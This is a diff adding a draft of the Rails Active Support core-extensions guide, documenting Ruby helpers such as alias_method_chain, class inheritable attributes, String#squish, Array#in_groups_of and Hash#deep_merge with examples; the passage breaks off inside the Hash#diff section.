+h5. +copy_instance_variables_from(object, exclude = [])+
+
+Copies the instance variables of +object+ into +self+.
+
+Instance variable names in the +exclude+ array are ignored. If +object+
+responds to +protected_instance_variables+ the ones returned are
+also ignored. For example, Rails controllers implement that method.
+
+In both arrays strings and symbols are understood, and they have to include
+the at sign.
+
+<ruby>
+class C
+ def initialize(x, y, z)
+ @x, @y, @z = x, y, z
+ end
+
+ def protected_instance_variables
+ %w(@z)
+ end
+end
+
+a = C.new(0, 1, 2)
+b = C.new(3, 4, 5)
+
+a.copy_instance_variables_from(b, [:@y])
+# a is now: @x = 3, @y = 1, @z = 2
+</ruby>
+
+In the example +object+ and +self+ are of the same type, but they don't need to.
+
+NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+
+h4. Silencing Warnings, Streams, and Exceptions
+
+The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
+
+<ruby>
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+</ruby>
+
+You can silence any stream while a block runs with +silence_stream+:
+
+<ruby>
+silence_stream(STDOUT) do
+ # STDOUT is silent here
+end
+</ruby>
+
+Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
+
+<ruby>
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+ current_user.increment! :visits
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
+
+h3. Extensions to +Module+
+
+h4. Aliasing
+
+h5. +alias_method_chain+
+
+Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
+
+For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+:
+
+<ruby>
+ActionController::TestCase.class_eval do
+ # save a reference to the original process method
+ alias_method :original_process, :process
+
+ # now redefine process and delegate to original_process
+ def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ original_process(action, params, session, flash, http_method)
+ end
+end
+</ruby>
+
+That's the method +get+, +post+, etc., delegate the work to.
+
+That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
+
+<ruby>
+ActionController::TestCase.class_eval do
+ def process_with_stringified_params(...)
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ process_without_stringified_params(action, params, session, flash, http_method)
+ end
+ alias_method :process_without_stringified_params, :process
+ alias_method :process, :process_with_stringified_params
+end
+</ruby>
+
+The method +alias_method_chain+ provides a shortcut for that pattern:
+
+<ruby>
+ActionController::TestCase.class_eval do
+ def process_with_stringified_params(...)
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ process_without_stringified_params(action, params, session, flash, http_method)
+ end
+ alias_method_chain :process, :stringified_params
+end
+</ruby>
+
+Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialised in validations.
+
+NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
+
+h5. +alias_attribute+
+
+Model attributes have a reader, a writer, and a predicate. You can aliase a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+
+<ruby>
+class User < ActiveRecord::Base
+ # let me refer to the email column as "login",
+ # much meaningful for authentication code
+ alias_attribute :login, :email
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
+
+h4. Delegation
+
+The class method +delegate+
+
+h3. Extensions to +Class+
+
+h4. Class Attribute Accessors
+
+The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
+
+<ruby>
+class MysqlAdapter < AbstractAdapter
+ # Generates class methods to access @@emulate_booleans.
+ cattr_accessor :emulate_booleans
+ self.emulate_booleans = true
+end
+</ruby>
+
+Instance methods are created as well for convenience. For example given
+
+<ruby>
+module ActionController
+ class Base
+ cattr_accessor :logger
+ end
+end
+</ruby>
+
+we can access +logger+ in actions. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
+
+<ruby>
+module ActiveRecord
+ class Base
+ # No pluralize_table_names= instance writer is generated.
+ cattr_accessor :pluralize_table_names, :instance_writer => false
+ end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+.
+
+h4. Class Inheritable Attributes
+
+Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros +class_inheritable_reader+, +class_inheritable_writer+, and +class_inheritable_accessor+ provide accesors for class-level data which is inherited but not shared with children:
+
+<ruby>
+module ActionController
+ class Base
+ # FIXME: REVISE/SIMPLIFY THIS COMMENT.
+ # The value of allow_forgery_protection is inherited,
+ # but its value in a particular class does not affect
+ # the value in the rest of the controllers hierarchy.
+ class_inheritable_accessor :allow_forgery_protection
+ end
+end
+</ruby>
+
+They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with +dup+ as long as the value is duplicable.
+
+There are some variants specialised in arrays and hashes:
+
+<ruby>
+class_inheritable_array
+class_inheritable_hash
+</ruby>
+
+Those writers take any inherited array or hash into account and extend them rather than overwrite them.
+
+As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
+
+<ruby>
+module ActiveRecord
+ class Base
+ class_inheritable_accessor :default_scoping, :instance_writer => false
+ end
+end
+</ruby>
+
+Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That's the point.
+
+NOTE: Defined in +active_support/core_ext/class/inheritable_attributes.rb+.
+
+There's a related macro called +superclass_delegating_accessor+, however, that does not copy the value when the base class is subclassed. Instead, it delegates reading to the superclass as long as the attribute is not set via its own writer. For example, +ActionMailer::Base+ defines +delivery_method+ this way:
+
+<ruby>
+module ActionMailer
+ class Base
+ superclass_delegating_accessor :delivery_method
+ self.delivery_method = :smtp
+ end
+end
+</ruby>
+
+If for whatever reason an application loads the definition of a mailer class and after that sets +ActionMailer::Base.delivery_method+, the mailer class will still see the new value. In addition, the mailer class is able to change the +delivery_method+ without affecting the value in the parent using its own inherited class attribute writer.
+
+NOTE: Defined in +active_support/core_ext/class/delegating_attributes.rb+.
+
+h4. Subclasses
+
+The +subclasses+ method returns the names of all subclasses of a given class as an array of strings. That comprises not only direct subclasses, but all descendants down the hierarchy:
+
+<ruby>
+class C; end
+C.subclasses # => []
+
+Integer.subclasses # => ["Bignum", "Fixnum"]
+
+module M
+ class A; end
+ class B1 < A; end
+ class B2 < A; end
+end
+
+module N
+ class C < M::B1; end
+end
+
+M::A.subclasses # => ["N::C", "M::B2", "M::B1"]
+</ruby>
+
+The order in which these class names are returned is unspecified.
+
+See also +Object#subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME.
+
+NOTE: Defined in +active_support/core_ext/class/removal.rb+.
+
+h4. Class Removal
+
+Roughly speaking, the +remove_class+ method removes the class objects passed as arguments:
+
+<ruby>
+Class.remove_class(Hash, Dir) # => [Hash, Dir]
+Hash # => NameError: uninitialized constant Hash
+Dir # => NameError: uninitialized constant Dir
+</ruby>
+
+More specifically, +remove_class+ attempts to remove constants with the same name as the passed class objects from their parent modules. So technically this method does not guarantee the class objects themselves are not still valid and alive somewhere after the method call:
+
+<ruby>
+module M
+ class A; end
+ class B < A; end
+end
+
+A2 = M::A
+
+M::A.object_id # => 13053950
+Class.remove_class(M::A)
+
+M::B.superclass.object_id # => 13053950 (same object as before)
+A2.name # => "M::A" (name is hard-coded in object)
+</ruby>
+
+WARNING: Removing fundamental classes like +String+ can result in really funky behaviour.
+
+The method +remove_subclasses+ provides a shortcut for removing all descendants of a given class, where "removing" has the meaning explained above:
+
+<ruby>
+class A; end
+class B1 < A; end
+class B2 < A; end
+class C < A; end
+
+A.subclasses # => ["C", "B2", "B1"]
+A.remove_subclasses
+A.subclasses # => []
+C # => NameError: uninitialized constant C
+</ruby>
+
+See also +Object#remove_subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME.
+
+NOTE: Defined in +active_support/core_ext/class/removal.rb+.
+
+h3. Extensions to +String+
+
+h4. +squish+
+
+The method +String#squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+
+<ruby>
+" \n foo\n\r \t bar \n".squish # => "foo bar"
+</ruby>
+
+There's also the destructive version +String#squish!+.
+
+NOTE: Defined in +active_support/core_ext/string/filters.rb+.
+
+h4. Key-based Interpolation
+
+In Ruby 1.9 the <tt>%</tt> string operator supports key-based interpolation, both formatted and unformatted:
+
+<ruby>
+"Total is %<total>.02f" % {:total => 43.1} # => Total is 43.10
+"I say %{foo}" % {:foo => "wadus"} # => "I say wadus"
+"I say %{woo}" % {:foo => "wadus"} # => KeyError
+</ruby>
+
+Active Support adds that functionality to <tt>%</tt> in previous versions of Ruby.
+
+NOTE: Defined in +active_support/core_ext/string/interpolation.rb+.
+
+h4. +starts_with?+ and +ends_width?+
+
+Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
+
+<ruby>
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o") # => true
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
+
+h4. Access
+
+h5. +at(position)+
+
+Returns the character of the string at position +position+:
+
+<ruby>
+"hello".at(0) # => "h"
+"hello".at(4) # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => ERROR if < 1.9, nil in 1.9
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +from(position)+
+
+Returns the substring of the string starting at position +position+:
+
+<ruby>
+"hello".from(0) # => "hello"
+"hello".from(2) # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => "" if < 1.9, nil in 1.9
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +to(position)+
+
+Returns the substring of the string up to position +position+:
+
+<ruby>
+"hello".to(0) # => "h"
+"hello".to(2) # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +first(limit = 1)+
+
+The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0.
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +last(limit = 1)+
+
+The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0.
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h3. Extensions to +Numeric+
+
+h4. Bytes
+
+All numbers respond to these methods:
+
+<ruby>
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+</ruby>
+
+They return the corresponding amount of bytes, using a conversion factor of 1024:
+
+<ruby>
+2.kilobytes # => 2048
+3.megabytes # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes # => -4611686018427387904
+</ruby>
+
+Singular forms are aliased so you are able to say:
+
+<ruby>
+1.megabyte # => 1048576
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
+
+h3. Extensions to +Integer+
+
+h4. +multiple_of?+
+
+The method +multiple_of?+ tests whether an integer is multiple of the argument:
+
+<ruby>
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
+
+h4. +ordinalize+
+
+The method +ordinalize+ returns the ordinal string corresponding to the receiver integer:
+
+<ruby>
+1.ordinalize # => "1st"
+2.ordinalize # => "2nd"
+53.ordinalize # => "53rd"
+2009.ordinalize # => "2009th"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
+
+h3. Extensions to +Float+
+
+...
+
+h3. Extensions to +BigDecimal+
+
+...
+
+h3. Extensions to +Enumerable+
+
+h4. +group_by+
+
+Ruby 1.8.7 and up define +group_by+, and Active Support does it for previous versions.
+
+This iterator takes a block and builds an ordered hash with its return values as keys. Each key is mapped to the array of elements for which the block returned that value:
+
+<ruby>
+entries_by_surname_initial = address_book.group_by do |entry|
+ entry.surname.at(0).upcase
+end
+</ruby>
+
+WARNING. Active Support redefines +group_by+ in Ruby 1.8.7 so that it still returns an ordered hash.
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +sum+
+
+The method +sum+ adds the elements of an enumerable:
+
+<ruby>
+[1, 2, 3].sum # => 6
+(1..100).sum # => 5050
+</ruby>
+
+Addition only assumes the elements respond to <tt>+</tt>:
+
+<ruby>
+[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum # => "foobarbaz"
+{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
+</ruby>
+
+The sum of an empty collection is zero by default, but this is customizable:
+
+<ruby>
+[].sum # => 0
+[].sum(1) # => 1
+</ruby>
+
+If a block is given +sum+ becomes an iterator that yields the elements of the collection and sums the returned values:
+
+<ruby>
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum # => 30
+</ruby>
+
+The sum of an empty receiver can be customized in this form as well:
+
+<ruby>
+[].sum(1) {|n| n**3} # => 1
+</ruby>
+
+The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way:
+
+<ruby>
+def observed_subclasses
+ observed_classes.sum([]) { |klass| klass.send(:subclasses) }
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +each_with_object+
+
+The +inject+ method offers iteration with an accumulator:
+
+<ruby>
+[2, 3, 4].inject(1) {|acc, i| product*i } # => 24
+</ruby>
+
+The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome:
+
+<ruby>
+[1, 2].inject({}) {|h, i| h[i] = i**2; h} # => {1 => 1, 2 => 4}
+</ruby>
+
+See that spurious "+; h+"?
+
+Active Support backports +each_with_object+ from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way:
+
+<ruby>
+[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # => {1 => 1, 2 => 4}
+</ruby>
+
+WARNING. Note that the item of the collection and the accumulator come in different order in +inject+ and +each_with_object+.
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +index_by+
+
+The method +index_by+ generates a hash with the elements of an enumerable indexed by some key.
+
+It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
+
+<ruby>
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+</ruby>
+
+WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +many?+
+
+The method +many?+ is shorthand for +collection.size > 1+:
+
+<erb>
+<% if pages.many? %>
+ <%= pagination_links %>
+<% end %>
+</erb>
+
+If an optional block is given +many?+ only takes into account those elements that return true:
+
+<ruby>
+@see_more = videos.many? {|video| video.category == params[:category]}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +exclude?+
+
+The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the builtin +include?+:
+
+<ruby>
+to_visit << node if visited.exclude?(node)
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h3. Extensions to +Array+
+
+h4. Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
+
+<ruby>
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7) # => []
+</ruby>
+
+Similarly, +from+ returns the tail from the element at the passed index on:
+
+<ruby>
+%w(a b c d).from(2) # => %w(c d)
+%w(a b c d).from(10) # => nil
+[].from(0) # => []
+</ruby>
+
+The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is builtin). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
+
+You can pick a random element with +rand+:
+
+<ruby>
+shape_type = [Circle, Square, Triangle].rand
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/access.rb+.
+
+h4. Options Extraction
+
+When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
+
+<ruby>
+User.exists?(:email => params[:email])
+</ruby>
+
+That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
+
+If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where kind of loses its role.
+
+In those cases, you may give an options hash a distinguished treatment with +extract_options!+. That method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise returns an empty hash.
+
+Let's see for example the definition of the +caches_action+ controller macro:
+
+<ruby>
+def caches_action(*actions)
+ return unless cache_configured?
+ options = actions.extract_options!
+ ...
+end
+</ruby>
+
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way.
+
+NOTE: Defined in +active_support/core_ext/array/extract_options.rb+.
+
+h4. Conversions
+
+h5. +to_sentence+
+
+The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
+
+<ruby>
+%w().to_sentence # => ""
+%w(Earth).to_sentence # => "Earth"
+%w(Earth Wind).to_sentence # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+</ruby>
+
+This method accepts three options:
+
+* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ".
+* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+
+The defaults for these options can be localised, their keys are:
+
+|_. Option |_. I18n key |
+| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> |
+| <tt>:words_connector</tt> | <tt>support.array.words_connector</tt> |
+| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> |
+
+Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.
+
+NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+
+h5. +to_formatted_s+
+
+The method +to_formatted_s+ acts like +to_s+ by default.
+
+If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs, though technically any object in Ruby 1.8 responds to +id+ indeed. Returned strings are:
+
+<ruby>
+[].to_formatted_s(:db) # => "null"
+[user].to_formatted_s(:db) # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+</ruby>
+
+Integers in the example above are supposed to come from the respective calls to +id+.
+
+NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+
+h5. +to_xml+
+
+The method +to_xml+ returns a string containing an XML representation of its receiver:
+
+<ruby>
+Contributor.all(:limit => 2, :order => 'rank ASC').to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+# <contributor>
+# <id type="integer">4356</id>
+# <name>Jeremy Kemper</name>
+# <rank type="integer">1</rank>
+# <url-id>jeremy-kemper</url-id>
+# </contributor>
+# <contributor>
+# <id type="integer">4404</id>
+# <name>David Heinemeier Hansson</name>
+# <rank type="integer">2</rank>
+# <url-id>david-heinemeier-hansson</url-id>
+# </contributor>
+# </contributors>
+</ruby>
+
+To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise.
+
+By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors".
+
+If there's any element that does not belong to the type of the first one the root node becomes "records":
+
+<ruby>
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <records type="array">
+# <record>
+# <id type="integer">4583</id>
+# <name>Aaron Batalion</name>
+# <rank type="integer">53</rank>
+# <url-id>aaron-batalion</url-id>
+# </record>
+# <record>
+# <author>Joshua Peek</author>
+# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+# <branch>origin/master</branch>
+# <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+# <committer>Joshua Peek</committer>
+# <git-show nil="true"></git-show>
+# <id type="integer">190316</id>
+# <imported-from-svn type="boolean">false</imported-from-svn>
+# <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+# </record>
+# </records>
+</ruby>
+
+If the receiver is an array of hashes the root element is by default also "records":
+
+<ruby>
+[{:a => 1, :b => 2}, {:c => 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <records type="array">
+# <record>
+# <b type="integer">2</b>
+# <a type="integer">1</a>
+# </record>
+# <record>
+# <c type="integer">3</c>
+# </record>
+# </records>
+</ruby>
+
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element.
+
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "record". The option <tt>:children</tt> allows you to set these node names.
+
+The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:
+
+<ruby>
+Contributor.all(:limit => 2, :order => 'rank ASC').to_xml(:skip_types => true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+# <contributor>
+# <id>4356</id>
+# <name>Jeremy Kemper</name>
+# <rank>1</rank>
+# <url-id>jeremy-kemper</url-id>
+# </contributor>
+# <contributor>
+# <id>4404</id>
+# <name>David Heinemeier Hansson</name>
+# <rank>2</rank>
+# <url-id>david-heinemeier-hansson</url-id>
+# </contributor>
+# </contributors>
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+
+h4. Wrapping
+
+The class method +Array.wrap+ behaves like the function +Array()+ except that it does not try to call +to_a+ on its argument. That changes the behaviour for enumerables:
+
+<ruby>
+Array.wrap(:foo => :bar) # => [{:foo => :bar}]
+Array(:foo => :bar) # => [[:foo, :bar]]
+
+Array.wrap("foo\nbar") # => ["foo\nbar"]
+Array("foo\nbar") # => ["foo\n", "bar"], in Ruby 1.8
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/wrap.rb+.
+
+h4. Grouping
+
+h5. +in_groups_of(number, fill_with = nil)+
+
+The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
+
+<ruby>
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+</ruby>
+
+or yields them in turn if a block is passed:
+
+<ruby>
+<% sample.in_groups_of(3) do |a, b, c| %>
+ <tr>
+ <td><%=h a %></td>
+ <td><%=h b %></td>
+ <td><%=h c %></td>
+ </tr>
+<% end %>
+</ruby>
+
+The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
+
+<ruby>
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+</ruby>
+
+And you can tell the method not to fill the last group passing +false+:
+
+<ruby>
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+</ruby>
+
+As a consequence +false+ can't be a used as a padding value.
+
+NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+
+h5. +in_groups(number, fill_with = nil)+
+
+The method +in_groups+ splits an array into a certain number of groups. The method returns and array with the groups:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+</ruby>
+
+or yields them in turn if a block is passed:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+</ruby>
+
+The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+
+You can change this padding value using the second optional argument:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+</ruby>
+
+And you can tell the method not to fill the smaller groups passing +false+:
+
+<ruby>
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+</ruby>
+
+As a consequence +false+ can't be a used as a padding value.
+
+NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+
+h5. +split(value = nil)+
+
+The method +split+ divides an array by a separator and returns the resulting chunks.
+
+If a block is passed the separators are those elements of the array for which the block returns true:
+
+<ruby>
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+</ruby>
+
+Otherwise, the value received as argument, which defaults to +nil+, is the separator:
+
+<ruby>
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+</ruby>
+
+TIP: Observe in the previous example that consecutive separators result in empty arrays.
+
+NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+
+h3. Extensions to +Hash+
+
+h4. Conversions
+
+h5. +to_xml+
+
+The method +to_xml+ returns a string containing an XML representation of its receiver:
+
+<ruby>
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+# <foo type="integer">1</foo>
+# <bar type="integer">2</bar>
+# </hash>
+</ruby>
+
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+:
+
+* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
+
+* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>.
+
+* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node.
+
+* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
+
+* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping:
+<ruby>
+XML_TYPE_NAMES = {
+ "Symbol" => "symbol",
+ "Fixnum" => "integer",
+ "Bignum" => "integer",
+ "BigDecimal" => "decimal",
+ "Float" => "float",
+ "TrueClass" => "boolean",
+ "FalseClass" => "boolean",
+ "Date" => "date",
+ "DateTime" => "datetime",
+ "Time" => "datetime"
+}
+</ruby>
+
+By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
+
+The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
+
+NOTE: Defined in +active_support/core_ext/hash/conversions.rb+.
+
+h4. Merging
+
+Ruby has a builtin method +Hash#merge+ that merges two hashes:
+
+<ruby>
+{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
+# => {:a => 0, :b => 1, :c => 2}
+</ruby>
+
+Active Support defines a few more ways of merging hashes that may be convenient.
+
+h5. +reverse_merge+ and +reverse_merge!+
+
+In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
+
+<ruby>
+options = {:length => 30, :omission => "..."}.merge(options)
+</ruby>
+
+Active Support defines +reverse_merge+ in case you prefer this alternative notation:
+
+<ruby>
+options = options.reverse_merge(:length => 30, :omission => "...")
+</ruby>
+
+And a bang version +reverse_merge!+ that performs the merge in place:
+
+<ruby>
+options.reverse_merge!(:length => 30, :omission => "...")
+</ruby>
+
+WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea.
+
+NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
+
+h5. +reverse_update+
+
+The method +reverse_update+ is an alias for +reverse_merge!+, explained above.
+
+WARNING. Note that +reverse_update+ has no bang.
+
+NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
+
+h5. +deep_merge+ and +deep_merge!+
+
+As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
+
+Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+
+<ruby>
+{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
+# => {:a => {:b => 1, :c => 2}}
+</ruby>
+
+The method +deep_merge!+ performs a deep merge in place.
+
+NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+.
+
+h4. Diffing
+
+The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic:
+
+* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash.
+
+* If both hashes have +key+, but with different values, the pair in the receiver wins.
+
+* The rest is just merged.
+
+<ruby>
+{:a => 1}.diff(:a => 1)
+# => {}, first rule
+
+{:a => 1}.diff(:a => 2)
+# => {:a => 1}, second rule
+
+{:a => 1}.diff(:b => 2)
